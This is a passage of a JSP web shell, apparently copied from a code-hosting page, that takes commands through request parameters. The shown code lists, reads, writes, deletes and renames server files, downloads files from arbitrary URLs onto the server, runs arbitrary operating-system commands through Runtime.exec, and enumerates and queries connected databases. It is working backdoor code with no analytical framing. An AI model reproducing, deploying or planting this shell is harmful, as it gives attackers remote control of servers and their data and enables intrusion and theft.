{os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}
|
||||
void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();
|
||||
for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}
|
||||
}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);
|
||||
int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}
|
||||
void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}
|
||||
void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
|
||||
java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}
|
||||
void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);
|
||||
HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];
|
||||
while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
|
||||
void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
|
||||
while((l=br.readLine())!=null){sb.append(l+"\r\n");}}
|
||||
void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
|
||||
while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}
|
||||
void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);
|
||||
while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}
|
||||
void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);
|
||||
Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();
|
||||
for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}
|
||||
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);
|
||||
try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+"\t|\t");
|
||||
}sb.append("\r\n");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+"\t|\t");}sb.append("\r\n");}r.close();}
|
||||
catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");
|
||||
}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}
|
||||
%><%
|
||||
String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);
|
||||
String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);
|
||||
StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");
|
||||
if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}
|
||||
else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
|
||||
while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}
|
||||
else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
|
||||
bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}
|
||||
else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}
|
||||
else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}
|
||||
else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
|
||||
MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}
|
||||
else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}
|
||||
}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());
|
||||
%>
|
Loading…
Reference in a new issue